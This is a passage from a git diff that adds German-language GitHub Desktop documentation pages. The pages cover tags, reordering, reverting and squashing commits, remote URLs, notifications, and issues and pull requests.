+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145090127'
+---
+## Informationen zu „Tags“ (Schlagworten) in {% data variables.product.prodname_desktop %}
+
+{% data variables.product.prodname_desktop %} ermöglicht Dir, kommentierte Tags zu erstellen. Tags sind mit Commits verknüpft, sodass du ein Tag verwenden kannst, um einen einzelnen Punkt im Verlauf deines Repositorys zu markieren, einschließlich einer Versionsnummer für eine Freigabe („Release“). Weitere Informationen zu Releasetags findest du unter „[Informationen zu Versionen](/github/administering-a-repository/about-releases)“.
+
+{% data reusables.desktop.tags-push-with-commits %}
+
+## Ein Tag erstellen
+
+{% data reusables.desktop.history-tab %} {% data reusables.desktop.create-tag %} {% data reusables.desktop.name-tag %} {% data reusables.desktop.confirm-tag %}
+
+## Tags anzeigen
+
+{% data reusables.desktop.history-tab %}
+2. Klicke auf den Commit.
+  {% note %}
+
+  **Hinweis**: {% data variables.product.prodname_desktop %} zeigt einen Pfeil {% octicon "arrow-up" aria-label="The up arrow icon" %} an, falls das Tag nicht per Push in das Remote-Repository übertragen wurde.
+
+  {% endnote %}
+
+  ![Ein Tag in der Historie anzeigen](/assets/images/help/desktop/viewing-tags-in-history.png)
+
+3. Alle dem Commit zugeordneten Tags sind in den Metadaten dieses Commits sichtbar.
+![Anzeigen eines Tags im Commit](/assets/images/help/desktop/viewing-tags-in-commit.png)
+
+## Löschen von Tags
+
+{% note %}
+
+**Hinweis**: Du kannst nur Tags löschen, die mit Commits verknüpft sind, die noch nicht mithilfe von Push verschoben wurden.
+
+{% endnote %}
+
+{% data reusables.desktop.history-tab %} {% data reusables.desktop.delete-tag %}
+
+## Weiterführende Themen
+
+- „[Git Basics – Tagging](https://git-scm.com/book/en/v2/Git-Basics-Tagging)“ (Git-Grundlagen – Tagging) in der Git-Dokumentation
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reordering-commits.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reordering-commits.md
new file mode 100644
index 0000000000..35ef10b8b8
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reordering-commits.md
@@ -0,0 +1,45 @@
+---
+title: Neuanordnen von Commits
+intro: 'Du kannst mit {% data variables.product.prodname_desktop %} im Verlauf deines Branchs Commits neu anordnen.'
+versions:
+  fpt: '*'
+ms.openlocfilehash: 5f68af5f2798e6780a91515886130f2b3ca7e6aa
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145105343'
+---
+## Informationen zum Neuanordnen eines Commits
+
+Durch die Neuanordnung kannst du den Commitverlauf ändern, um eine sinnvollere Abfolge von Commits bereitzustellen. {% data variables.product.prodname_desktop %} ermöglicht das Neuanordnen von Commits im Branchverlauf per Drag & Drop.
+
+## Neuanordnen eines Commits
+
+{% data reusables.desktop.current-branch-menu %}
+2. Klicke in der Liste der Branches auf den Branch mit den Commits, die du neu anordnen möchtest.
+{% data reusables.desktop.history-tab %}
+4. Ziehe den Commit, den du neu anordnen möchtest, und lege ihn zwischen zwei angrenzenden Commits ab.
+  ![Neuanordnen per Drag & Drop](/assets/images/help/desktop/reorder-drag-and-drop.png) Während die Anwendung die Commits neu anordnet, gibt das Dialogfeld **Neuanordnung wird ausgeführt** den Fortschritt der Änderung an.
+
+## Fehlermeldungen beim Neuanordnen von Commits
+
+Wenn du Commits neu anordnest, wird möglicherweise eine der folgenden Benachrichtigungen oder Fehlermeldungen angezeigt.
+
+* Eine Benachrichtigung gibt an, dass die angeforderte Änderung am Branch einen erzwungenen Push erfordert, um den Remotebranch zu aktualisieren. Dies wird angezeigt, wenn die von dir neu angeordneten Commits zuvor in den Remotebranch gepusht wurden. Ein erzwungener Push ändert den Commitverlauf des Branchs und wirkt sich auf andere Personen aus, die in diesem Branch arbeiten.  Wähle **Neuanordnung beginnen** aus, um die Neuanordnung zu starten, und klicke dann auf **Pushursprung erzwingen**, um deine Änderungen zu pushen.
+
+  ![Dialogfeld zum Erzwingen von Pushes beim Neuanordnen](/assets/images/help/desktop/reorder-force-push-dialog.png)
+
+* Ein Fehler gibt an, dass die Neuanordnung nicht ausgeführt werden konnte, da die neu angeordneten Commits einen Mergecommit enthalten.
+
+  ![Dialogfeld zum Neuanordnen von Mergecommits](/assets/images/help/desktop/reorder-merge-commit-dialog.png)
+
+* In einer Benachrichtigung wird angezeigt, dass im aktuellen Branch noch nicht committete Änderungen vorhanden sind. Wähle **Änderungen stashen und weiter** aus, um die Änderungen zu speichern und fortzufahren, oder wähle **Schließen** aus, um die Nachricht zu verwerfen und die Änderungen zu committen. Wenn keine noch nicht committeten Änderungen mehr vorhanden sind, kannst du deine Commits neu anordnen.
+
+  ![Dialogfeld zum Neuanordnen von Stashs](/assets/images/help/desktop/reorder-stash-dialog.png)
+
+* Eine Meldung gibt an, dass Mergekonflikte vorhanden sind, die du beheben musst, bevor die Anwendung das Neuanordnen von Commits in deinem Branch fortsetzen kann.
+    1. Klicke auf **Konflikte anzeigen**, um die Konflikte anzuzeigen.
+      ![Meldung zum Lösen von Konflikten beim Neuanordnen](/assets/images/help/desktop/reorder-resolve-conflicts.png) {% data reusables.desktop.resolve-merge-conflicts %}
+   3. Wenn alle Konflikte gelöst sind, kannst du deine Commits neu anordnen.
+  
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reverting-a-commit.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reverting-a-commit.md
new file mode 100644
index 0000000000..6b570abda0
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reverting-a-commit.md
@@ -0,0 +1,34 @@
+---
+title: Einen Commit rückgängig machen
+intro: 'Du kannst einen bestimmten Commit zurücksetzen, um dessen Änderungen aus deinem Branch zu entfernen.'
+redirect_from:
+  - /desktop/contributing-to-projects/reverting-a-commit
+  - /desktop/contributing-and-collaborating-using-github-desktop/reverting-a-commit
+versions:
+  fpt: '*'
+ms.openlocfilehash: f6cf6f120beff99bdb1c8bfd7868bb157e68d5dd
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145090126'
+---
+Wenn du einen vorherigen Commit rückgängig machst, ist das Rückgängigmachen ebenfalls ein Commit. Der ursprüngliche Commit verbleibt ebenfalls im Verlauf des Repositorys.
+
+{% tip %}
+
+**Tipp**: Wenn du mehrere Commits rückgängig machst, empfiehlt es sich, dabei in der Reihenfolge vom neuesten zum ältesten vorzugehen. Wenn du Commits in einer anderen Reihenfolge rückgängig machst, werden möglicherweise Merge-Konflikte angezeigt.
+
+{% endtip %}
+
+{% mac %}
+
+{% data reusables.desktop.history-tab %} {% data reusables.desktop.revert-commit %} ![ Die Option „Wiederherstellen“ oberhalb der Diff-Ansicht](/assets/images/help/desktop/commit-revert-mac.png)
+
+{% endmac %}
+
+{% windows %}
+
+{% data reusables.desktop.history-tab %} {% data reusables.desktop.revert-commit %} ![ Die Option „Wiederherstellen“ oberhalb der Diff-Ansicht](/assets/images/help/desktop/commit-revert-win.png)
+
+{% endwindows %}
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md
new file mode 100644
index 0000000000..e140cccf13
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md
@@ -0,0 +1,57 @@
+---
+title: Squashen von Commits
+intro: 'Du kannst mit {% data variables.product.prodname_desktop %} im Verlauf deines Branchs Commits squashen.'
+versions:
+  fpt: '*'
+ms.openlocfilehash: fb8141710a99b52f1b9a93e1abc0429b5e29f116
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105340'
+---
+## Informationen zum Squashen eines Commits
+
+Mit Squashing kannst du mehrere Commits im Branchverlauf zu einem einzigen Commit kombinieren. Das kann zur besseren Lesbarkeit und Verständlichkeit des Verlaufs deines Repositorys beitragen.
+
+## Squashen eines Commits
+
+{% mac %}
+
+{% data reusables.desktop.current-branch-menu %}
+2. Wähle in der Liste der Branches den Branch aus, der die Commits enthält, die du squashen möchtest.
+{% data reusables.desktop.history-tab %}
+4. Wähle die zu squashenden Commits aus und lege sie auf dem Commit ab, mit dem du sie kombinieren möchtest. Du kannst einen oder mehrere Commits auswählen. Wenn du mehrere Commits auswählen möchtest, verwende die Tasten <kbd>BEFEHL</kbd> oder <kbd>UMSCHALT</kbd>.
+  ![Ziehen und Ablegen zum Squashen](/assets/images/help/desktop/squash-drag-and-drop.png)
+5. Ändere die Commitnachricht deines neuen Commits. Die Commitnachrichten der ausgewählten Commits, die du squashen möchtest, sind in den Feldern **Zusammenfassung** und **Beschreibung** bereits ausgefüllt.
+6. Klicke auf **Commits squashen**.
+
+{% endmac %}
+
+{% windows %}
+
+{% data reusables.desktop.current-branch-menu %}
+2. Wähle in der Liste der Branches den Branch aus, der die Commits enthält, die du squashen möchtest.
+{% data reusables.desktop.history-tab %}
+4. Wähle die zu squashenden Commits aus und lege sie auf dem Commit ab, mit dem du sie kombinieren möchtest. Du kannst einen oder mehrere Commits auswählen. Wenn du mehrere Commits auswählen möchtest, verwende die Tasten <kbd>STRG</kbd> oder <kbd>UMSCHALT</kbd>.
+  ![Ziehen und Ablegen zum Squashen](/assets/images/help/desktop/squash-drag-and-drop.png)
+5. Ändere die Commitnachricht deines neuen Commits. Die Commitnachrichten der ausgewählten Commits, die du squashen möchtest, sind in den Feldern **Zusammenfassung** und **Beschreibung** bereits ausgefüllt.
+6. Klicke auf **Commits squashen**.
+
+{% endwindows %}
+
+## Fehlermeldungen beim Squashen von Commits
+
+Wenn du Commits squashst, wird möglicherweise eine der folgenden Benachrichtigungen oder Fehlermeldungen angezeigt.
+
+* Eine Benachrichtigung gibt an, dass die angeforderte Änderung am Branch einen erzwungenen Push erfordert, um den Remotebranch zu aktualisieren. Ein erzwungener Push ändert den Commitverlauf des Branchs und wirkt sich auf andere Personen aus, die in diesem Branch arbeiten.  Wähle **Squash beginnen** aus, um den Squash zu starten, und klicke dann auf **Pushursprung erzwingen**, um deine Änderungen zu pushen.
+
+  ![Dialogfeld zum Erzwingen von Pushes beim Squashen](/assets/images/help/desktop/squash-force-push.png)
+
+* Ein Fehler gibt an, dass der Squash nicht ausgeführt werden konnte, da die gesquashten Commits einen Mergecommit enthalten.
+
+  ![Dialogfeld zum Neuanordnen von Mergecommits](/assets/images/help/desktop/squash-merge-commit-dialog.png)
+
+* In einer Benachrichtigung wird angezeigt, dass im aktuellen Branch noch nicht committete Änderungen vorhanden sind. Wähle **Änderungen stashen und weiter** aus, um die Änderungen zu speichern und fortzufahren, oder wähle **Schließen** aus, um die Nachricht zu verwerfen und die Änderungen zu committen. Wenn keine noch nicht committeten Änderungen mehr vorhanden sind, kannst du deine Commits squashen.
+
+  ![Dialogfeld zum Squashen von Stashs](/assets/images/help/desktop/squash-stash-dialog.png)
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/changing-a-remotes-url-from-github-desktop.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/changing-a-remotes-url-from-github-desktop.md
new file mode 100644
index 0000000000..269175e728
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/changing-a-remotes-url-from-github-desktop.md
@@ -0,0 +1,32 @@
+---
+title: Remote-URL auf GitHub Desktop ändern
+intro: 'Du kannst die Remote-URL für ein Repository, mit dem du arbeitest, in {% data variables.product.prodname_desktop %} ändern. Dies ist möglicherweise erforderlich, wenn das Repository umbenannt oder der Benutzername oder die Organisation, dem bzw. der das Repository gehört, geändert wurde.'
+redirect_from:
+  - /desktop/contributing-to-projects/changing-a-remotes-url-from-github-desktop
+  - /desktop/contributing-to-projects/changing-a-remote-s-url-from-github-desktop
+  - /desktop/contributing-and-collaborating-using-github-desktop/changing-a-remotes-url-from-github-desktop
+versions:
+  fpt: '*'
+shortTitle: Change a remote's URL
+ms.openlocfilehash: e06ea68ead9ab79c44d7aaf96f48d6645232b496
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146058476'
+---
+{% mac %}
+
+{% data reusables.desktop.mac-repository-settings-menu %}
+2. Klicke auf **Remote**, und gib unter **Primäres Remoterepository** die gewünschte URL ein.
+![Feld „Primäres Remoterepository“](/assets/images/help/desktop/repository-settings-remote.png) {% data reusables.desktop.repository-settings-save %}
+
+{% endmac %}
+
+{% windows %}
+
+{% data reusables.desktop.windows-repository-settings-menu %}
+2. Klicke auf **Remote**, und gib unter **Primäres Remoterepository** die gewünschte URL ein.
+![Feld „Primäres Remoterepository“](/assets/images/help/desktop/repository-settings-remote.png) {% data reusables.desktop.repository-settings-save %}
+
+{% endwindows %}
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/configuring-notifications-in-github-desktop.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/configuring-notifications-in-github-desktop.md
new file mode 100644
index 0000000000..86fdc531b7
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/configuring-notifications-in-github-desktop.md
@@ -0,0 +1,68 @@
+---
+title: Konfigurieren von Benachrichtigungen in GitHub Desktop
+shortTitle: Configuring notifications
+intro: '{% data variables.product.prodname_desktop %} hält dich mit Benachrichtigungen über Ereignisse auf dem Laufenden, die in deinem Pull Request-Branch auftreten.'
+versions:
+  fpt: '*'
+ms.openlocfilehash: e7d99c4c81b64facae41b7697cde9d454e15e96a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147060434'
+---
+## Informationen zu Benachrichtigungen in {% data variables.product.prodname_desktop %}
+
+{% data variables.product.prodname_desktop %} zeigt eine Systembenachrichtigung für Ereignisse an, die im aktuell ausgewählten Repository auftreten. In den folgenden Fällen werden Benachrichtigungen angezeigt:
+
+- Bei der Überprüfung eines Pull Requests ist ein Fehler aufgetreten.
+- Bei der Überprüfung eines Pull Requests wurde ein Kommentar hinterlassen, steht eine Genehmigung aus, oder Änderungen wurden angefordert.
+
+Durch Klicken auf die Benachrichtigung wechselt der Anwendungsfokus zu {% data variables.product.prodname_desktop %}, und es werden weitere detaillierte Informationen angezeigt.
+
+## Benachrichtigungen zu Fehlern bei der Überprüfung von Pull Requests
+
+Wenn Änderungen an einem Pull-Request-Branch vorgenommen werden, erhältst du eine Benachrichtigung, wenn bei der Überprüfung ein Fehler auftritt.
+
+![Benachrichtigung zu fehlgeschlagenen Überprüfungen von Pull Requests](/assets/images/help/desktop/pull-request-checks-failed-notification.png)
+
+Durch Klicken auf die Benachrichtigung wird ein Dialogfeld mit Details zu den Überprüfungen angezeigt. Nachdem du überprüft hast, warum die Überprüfungen fehlgeschlagen sind, kannst du sie erneut ausführen oder schnell zum Pull-Request-Branch wechseln, um die Fehler zu beheben. Weitere Informationen findest du unter [Anzeigen und erneutes Ausführen von Überprüfungen in GitHub Desktop](/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop).
+
+![Dialogfeld zu fehlgeschlagenen Überprüfungen](/assets/images/help/desktop/checks-failed-dialog.png)
+## Benachrichtigungen zu Überprüfungen von Pull Requests
+
+{% data variables.product.prodname_desktop %} zeigt eine Systembenachrichtigung an, wenn ein Teammitglied Änderungen in deinem Pull Request genehmigt, kommentiert oder angefordert hat. Weitere Informationen zu Überprüfungen von Pull Requests findest du unter [Informationen zu Überprüfungen von Pull Requests](/github/collaborating-with-issues-and-pull-requests/about-pull-request-reviews).
+
+![Benachrichtigung zur Überprüfung von Pull Requests](/assets/images/help/desktop/pull-request-review-notification.png)
+
+Durch Klicken auf die Benachrichtigung wechselt der Anwendungsfokus zu {% data variables.product.prodname_desktop %}, und es werden weitere Informationen zum Kommentar im Zusammenhang mit der Überprüfung des Pull Requests angezeigt.
+
+![Dialogfeld zur Überprüfung eines Pull Requests](/assets/images/help/desktop/pull-request-review-dialog.png)
+## Aktivieren von Benachrichtigungen
+
+Wenn Systembenachrichtigungen für {% data variables.product.prodname_desktop %} deaktiviert sind, kannst du die folgenden Schritte ausführen, um sie zu aktivieren.
+
+{% mac %}
+
+1. Klicke auf das Menü **Apple** und dann auf **Systemeinstellungen**.
+2. Wähle **Benachrichtigungen und Fokus** aus.
+3. Wähle **{% data variables.product.prodname_desktop %}** aus der Liste der Anwendungen aus.
+4. Klicke auf **Benachrichtigungen zulassen**.
+
+![macOS-Einstellungen für Benachrichtigungen und Fokus](/assets/images/help/desktop/mac-enable-notifications.png)
+
+Weitere Informationen zu macOS-Systembenachrichtigungen findest du unter [Verwenden von Benachrichtigungen auf deinem Mac](https://support.apple.com/en-us/HT204079).
+
+{% endmac %}
+
+{% windows %}
+
+1. Öffne das Menü **Start**, und klicke dann auf **Einstellungen**.
+2. Wähle **System** und dann **Benachrichtigungen** aus.
+3. Suche in der Liste der Anwendungen nach **{% data variables.product.prodname_desktop %}**, und klicke auf **Ein**.
+
+![Aktivieren von Windows-Benachrichtigungen](/assets/images/help/desktop/windows-enable-notifications.png)
+
+Weitere Informationen zu Windows-Systembenachrichtigungen findest du unter [Ändern der Benachrichtigungseinstellungen unter Windows](https://support.microsoft.com/en-us/windows/change-notification-settings-in-windows-8942c744-6198-fe56-4639-34320cf9444e).
+
+{% endwindows %}
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request.md
new file mode 100644
index 0000000000..313e1edba3
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request.md
@@ -0,0 +1,84 @@
+---
+title: Ein „Issue“ (Problem) oder einen Pull-Request erstellen
+intro: 'Du kannst ein Issue oder einen Pull Request erstellen, um Änderungen an einem Repository vorzuschlagen und gemeinsam mit anderen daran zu arbeiten.'
+permissions: 'Anyone can create an issue in a public repository that has issues enabled. Anyone with read permissions to a repository can create a pull request, but you must have write permissions to create a branch.'
+redirect_from:
+  - /desktop/contributing-to-projects/creating-an-issue-or-pull-request
+  - /desktop/contributing-to-projects/creating-a-pull-request
+  - /desktop/contributing-and-collaborating-using-github-desktop/creating-an-issue-or-pull-request
+versions:
+  fpt: '*'
+shortTitle: Create an issue or PR
+ms.openlocfilehash: 5430c8f11d08efc3f21cf1c62f470f38dcc2f257
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145105335'
+---
+## Informationen zu Issues und Pull Requests
+
+Du kannst Issues verwenden, um Ideen, Fehler, Aufgaben und andere Informationen zu verfolgen, die für dein Projekt wichtig sind. Du kannst ein Issue im Repository deines Projekts mit {% data variables.product.prodname_desktop %} erstellen. Weitere Informationen zu Issues findest du unter [Informationen zu Issues](/github/managing-your-work-on-github/about-issues).
+
+Nachdem du einen Branch erstellt und Änderungen an Dateien in einem Projekt vorgenommen hast, kannst du einen Pull Request erstellen. Mit einem Pull Request kannst du Änderungen vorschlagen, besprechen und durchlaufen, bevor du die Änderungen im Projekt zusammenführst. Du kannst einen Pull Request im Repository deines Projekts mit {% data variables.product.prodname_desktop %} erstellen. Weitere Informationen zu Pull Requests findest du unter [Informationen zu Pull Requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests).
+
+## Voraussetzungen
+
+Bevor du einen Pull Request erstellst, musst du Änderungen an einem Branch an {% data variables.product.prodname_dotcom %} pushen.
+- Speicher und committe alle Änderungen in deinen lokalen Branch. Weitere Informationen findest du unter [Committen und Überprüfen von Änderungen an deinem Projekt](/desktop/contributing-and-collaborating-using-github-desktop/committing-and-reviewing-changes-to-your-project).
+- Pushe deinen lokalen Commit an das Remoterepository. Weitere Informationen findest du unter [Pushen von Änderungen an GitHub](/desktop/contributing-and-collaborating-using-github-desktop/pushing-changes-to-github).
+- Veröffentliche deinen aktuellen Branch auf {% data variables.product.prodname_dotcom %}. Weitere Informationen findest du unter [Verwalten von Branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches).
+
+## Einen Issue erstellen
+
+{% mac %}
+
+1. Verwende in der Menüleiste das Dropdownmenü **Repository**, und klicke dann auf **Issue erstellen auf {% data variables.product.prodname_dotcom %}**.
+    ![Repositorywert im Menü „Branch“](/assets/images/help/desktop/create-issue-mac.png)
+2. Klicke auf {% data variables.product.prodname_dotcom %} auf **Erste Schritte**, um eine Issuevorlage zu öffnen oder auf **Leeres Issue öffnen** zu klicken.
+    ![Optionen zum Erstellen eines neuen Issues](/assets/images/help/desktop/create-new-issue.png)
+
+{% endmac %}
+
+{% windows %}
+
+1. Verwende in der Menüleiste das Dropdownmenü **Repository**, und klicke dann auf **Issue erstellen auf {% data variables.product.prodname_dotcom %}**.
+    ![Repositorywert im Menü „Branch“](/assets/images/help/desktop/create-issue-windows.png)
+2. Klicke auf {% data variables.product.prodname_dotcom %} auf **Erste Schritte**, um eine Issuevorlage zu öffnen oder auf **Leeres Issue öffnen** zu klicken.
+    ![Optionen zum Erstellen eines neuen Issues](/assets/images/help/desktop/create-new-issue.png)
+
+{% endwindows %}
+
+{% note %}
+
+**Hinweis**: Wenn keine Issuevorlagen in deinem aktuellen Repository aktiviert sind, leitet {% data variables.product.prodname_desktop %} dich zu einem leeren Issue auf {% data variables.product.prodname_dotcom %} weiter.
+
+{% endnote %}
+
+## Erstellen eines Pull Requests
+
+{% mac %}
+
+1. Wechsle zu dem Branch, für den du einen Pull Request erstellen möchtest. Weitere Informationen findest du unter [Wechseln zwischen Branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches).
+2. Klicke auf **Pull Request erstellen**. {% data variables.product.prodname_desktop %} öffnet deinen Standardbrowser und leitet dich zu {% data variables.product.prodname_dotcom %}.
+  ![Schaltfläche „Pull Request erstellen“](/assets/images/help/desktop/mac-create-pull-request.png)
+4. Vergewissere dich bei {% data variables.product.prodname_dotcom %}, dass der Branch im Dropdownmenü **Basis:** der Branch ist, in dem du deine Änderungen zusammenführen möchtest. Vergewissere dich, dass der Branch im Dropdownmenü **Vergleich:** der Topic-Branch ist, in dem du deine Änderungen vorgenommen hast.
+  ![Dropdownmenüs zum Auswählen der Basis- und Vergleichbranches](/assets/images/help/desktop/base-and-compare-branches.png) {% data reusables.repositories.pr-title-description %} {% data reusables.repositories.create-pull-request %}
+
+{% endmac %}
+
+{% windows %}
+
+1. Wechsle zu dem Branch, für den du einen Pull Request erstellen möchtest. Weitere Informationen findest du unter [Wechseln zwischen Branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches).
+2. Klicke auf **Pull Request erstellen**. {% data variables.product.prodname_desktop %} öffnet deinen Standardbrowser und leitet dich zu {% data variables.product.prodname_dotcom %}.
+  ![Schaltfläche „Pull Request erstellen“](/assets/images/help/desktop/windows-create-pull-request.png)
+3. Vergewissere dich bei {% data variables.product.prodname_dotcom %}, dass der Branch im Dropdownmenü **Basis:** der Branch ist, in dem du deine Änderungen zusammenführen möchtest. Vergewissere dich, dass der Branch im Dropdownmenü **Vergleich:** der Topic-Branch ist, in dem du deine Änderungen vorgenommen hast.
+  ![Dropdownmenüs zum Auswählen der Basis- und Vergleichbranches](/assets/images/help/desktop/base-and-compare-branches.png) {% data reusables.repositories.pr-title-description %} {% data reusables.repositories.create-pull-request %}
+
+{% endwindows %}
+
+## Weiterführende Themen
+- [Issue](/github/getting-started-with-github/github-glossary#issue) im {% data variables.product.prodname_dotcom %}-Glossar
+- [Pull Request](/github/getting-started-with-github/github-glossary#pull-request) im {% data variables.product.prodname_dotcom %}-Glossar
+- [Basisbranch](/github/getting-started-with-github/github-glossary#base-branch) im {% data variables.product.prodname_dotcom %}-Glossar
+- [Topic-Branch](/github/getting-started-with-github/github-glossary#topic-branch) im {% data variables.product.prodname_dotcom %}-Glossar
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/index.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/index.md
new file mode 100644
index 0000000000..69643e55bf
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/index.md
@@ -0,0 +1,22 @@
+---
+title: Mit deinem Remote-Repository auf GitHub oder GitHub Enterprise arbeiten
+intro: 'Während du lokal Änderungen an deinem Projekt vornimmst, kannst du diese mit deinem Remoterepository synchronisieren. In Git ist ein *Remoterepository* der Server, auf dem dein Code gespeichert wird. In deinem Fall ist dieser Server ein Repository auf {% data variables.product.prodname_dotcom %} oder {% data variables.product.prodname_enterprise %}.'
+redirect_from:
+  - /desktop/contributing-to-projects/working-with-your-remote-repository-on-github-or-github-enterprise
+versions:
+  fpt: '*'
+children:
+  - /creating-an-issue-or-pull-request
+  - /viewing-a-pull-request-in-github-desktop
+  - /viewing-and-re-running-checks-in-github-desktop
+  - /configuring-notifications-in-github-desktop
+  - /changing-a-remotes-url-from-github-desktop
+shortTitle: Work with your remote repo
+ms.openlocfilehash: 60c2f41546ff085ea8f8d56142da6a3c7a81ebae
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105332'
+---
+
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop.md
new file mode 100644
index 0000000000..f1a6c5ed31
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop.md
@@ -0,0 +1,34 @@
+---
+title: Anzeigen eines Pull Requests in GitHub Desktop
+shortTitle: Viewing a pull request
+intro: 'Du kannst die vorgeschlagenen Änderungen in offenen Pull Requests auf {% data variables.product.prodname_desktop %} anzeigen.'
+redirect_from:
+  - /desktop/contributing-to-projects/accessing-a-pull-request-locally
+  - /desktop/contributing-and-collaborating-using-github-desktop/accessing-a-pull-request-locally
+  - /desktop/contributing-and-collaborating-using-github-desktop/viewing-a-pull-request-in-github-desktop
+versions:
+  fpt: '*'
+ms.openlocfilehash: 62f824366991a5c075440f548a3b8916a8ba60db
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145105328'
+---
+## Informationen zu Pull Requests in {% data variables.product.prodname_desktop %}
+Du kannst Pull Requests, die du oder deine Projektmitarbeiter vorgeschlagen haben, in {% data variables.product.prodname_desktop %} anzeigen. Mit Pull Requests kannst du Änderungen an Projekten vorschlagen, Feedback und Bewertungen abgeben und Änderungen in Projekten zusammenführen. Weitere Informationen findest du unter [Informationen zu Pull Requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests).
+
+Beim Anzeigen eines Pull Requests in {% data variables.product.prodname_desktop %} siehst du einen Verlauf der Commits, die die Mitwirkenden beigetragen haben. Du kannst auch sehen, welche Dateien durch die Commits geändert, hinzugefügt oder gelöscht wurden. Von {% data variables.product.prodname_desktop %} aus kannst du die Repositorys in deinem bevorzugten Text-Editor öffnen, um alle Änderungen anzuzeigen oder zusätzliche Änderungen vorzunehmen. Nachdem du die Änderungen in einem Pull Request überprüft hast, kannst du Feedback auf {% data variables.product.prodname_dotcom %} geben. Weitere Informationen findest du unter [Informationen zu Pull Request-Reviews](/github/collaborating-with-issues-and-pull-requests/about-pull-request-reviews).
+
+Wenn in deinem Repository Überprüfungen aktiviert wurden, zeigt {% data variables.product.prodname_desktop %} den Status der Überprüfungen im Pull Request an und ermöglicht es dir, die Überprüfungen erneut auszuführen. Weitere Informationen findest du unter [Anzeigen und erneutes Ausführen von Überprüfungen in GitHub Desktop](/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop).
+
